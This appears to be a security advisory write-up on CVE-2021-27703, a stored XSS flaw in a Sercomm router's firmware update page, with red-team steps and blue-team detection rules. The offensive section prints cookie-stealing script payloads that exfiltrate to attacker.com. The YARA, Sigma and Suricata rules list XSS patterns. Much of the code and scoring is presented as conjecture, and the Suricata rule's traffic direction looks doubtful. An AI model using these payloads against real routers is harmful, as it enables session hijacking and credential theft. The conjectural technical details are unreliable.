CVE-2021-27703

Executive Summary

CVE-2021-27703 identifies a stored Cross-Site Scripting (XSS) vulnerability in the firmware update page of the Sercomm Model Etisalat Model S3-AC2100 router. This flaw allows an authenticated attacker (or an unauthenticated attacker if the admin interface is exposed) to inject arbitrary JavaScript or HTML into the firmware update page. When an administrator visits the affected page, the injected script executes in the context of the router’s web interface, potentially leading to session hijacking, credential theft, or further device compromise. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the device’s exposure on Shodan, the risk remains for unpatched units.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer router.

CVSS Breakdown & Threat Level

The CVSS vector is not provided by NVD. Based on the nature of the vulnerability (XSS on a firmware update page, likely requiring authentication), a reasonable estimate is:

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N (Score: 5.4 Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – assumes attacker needs admin credentials
• User Interaction: Required (UI:R) – victim must visit the firmware update page
• Scope: Changed (S:C) – injected script can affect other resources
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but if the admin interface is exposed to the internet (common with default configurations), the attack surface increases.

Deep Dive & Mechanics

The vulnerability resides in the firmware update page (/upgrade.asp or similar) of the Sercomm S3-AC2100 router. The page likely accepts user-supplied input (e.g., firmware file name, description, or upload parameters) without proper sanitization. When the page renders this input, it fails to escape HTML entities, allowing an attacker to inject <script> tags or event handlers.

Attack Flow:

1. An attacker with admin credentials (or via CSRF if the victim is already authenticated) navigates to the firmware update page.
2. The attacker injects a payload into a vulnerable input field (e.g., "><script>alert('XSS')</script>).
3. The payload is stored in the router’s configuration (e.g., in a log or temporary file).
4. When another admin (or the same admin) visits the firmware update page, the payload executes.
5. The script can steal session cookies, exfiltrate credentials, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation on the firmware update page. The router’s web server (likely a lightweight HTTP daemon) does not sanitize user input before rendering it in HTML.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code is presumed to be in the router’s web interface CGI scripts or embedded HTML files.

Vulnerable Code (Conceptual):

<!-- /upgrade.asp -->
<form action="/upgrade.cgi" method="post">
  <input type="text" name="firmware_name" value="<%= request.getParameter("firmware_name") %>">
  <input type="submit" value="Update">
</form>

Patched Code (Conceptual):

<!-- /upgrade.asp -->
<form action="/upgrade.cgi" method="post">
  <input type="text" name="firmware_name" value="<%= HtmlEncode(request.getParameter("firmware_name")) %>">
  <input type="submit" value="Update">
</form>

The patch would involve HTML-encoding all user-supplied input before rendering it in the page. Since no official patch exists, users must rely on workarounds (see Remediation).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to the router’s admin interface (e.g., http://192.168.1.1).
• Valid admin credentials (default: admin/admin or found via Shodan).

Step-by-Step Exploitation:

1. Log in to the router’s web interface.
2. Navigate to the firmware update page (typically under Advanced > Firmware Update).
3. In the “Firmware Name” or “Description” field, inject the following payload:

   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
   

4. Submit the form. The payload is stored.
5. When any admin visits the firmware update page, the script executes and exfiltrates cookies to attacker.com.

Alternative Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>

Note: No public exploit code (Exploit-DB) is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /upgrade.asp or similar endpoints for unusual parameters containing <script>, onerror=, or javascript:.
• Use WAF rules to block XSS patterns in POST parameters.

Honeypot:

• Deploy a fake firmware update page that logs all input. Any injection attempt is a sign of scanning.

Mitigation:

• Restrict admin interface access to local network only (disable remote management).
• Use strong, unique admin credentials.
• Apply network segmentation to isolate the router from critical assets.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown IPs on port 80/443 from the router.
• Suspicious parameters in POST requests to /upgrade.asp containing <script> or onerror=.

File IOCs:

• Modified configuration files (e.g., /etc/config/*) containing JavaScript payloads.
• Unexpected files in /tmp/ or /var/ with .html or .js extensions.

Log IOCs:

• Router logs showing repeated access to the firmware update page from unusual IPs.
• Log entries with HTML tags in the “firmware_name” field.

Detection Engineering

YARA Rule

rule CVE_2021_27703_XSS_Sercomm {
    meta:
        description = "Detects XSS payloads targeting Sercomm S3-AC2100 firmware update page"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-27703"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: XSS Payload in Sercomm Firmware Update Page
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS injection attempts in HTTP POST requests to Sercomm router firmware update page
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/upgrade.asp'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate firmware file names containing 'script' (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-27703 XSS Attempt on Sercomm S3-AC2100 Firmware Update";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/upgrade.asp"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-27703;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Ensure the router’s admin interface is not accessible from the WAN side. Check under Administration > Remote Management.
2. Change Default Credentials: Use a strong, unique password for the admin account.
3. Update Firmware: Check Sercomm’s official website for any firmware updates. If none exist, consider replacing the device.

Long-Term Fix:

• The vendor must release a firmware update that properly sanitizes input on the firmware update page. Until then, the device remains vulnerable.

Compensating Controls:

• Deploy a WAF (e.g., ModSecurity) in front of the router if possible.
• Use network segmentation to isolate the router from sensitive systems.
• Monitor logs for XSS attempts.

Valters IT Signature:

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Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
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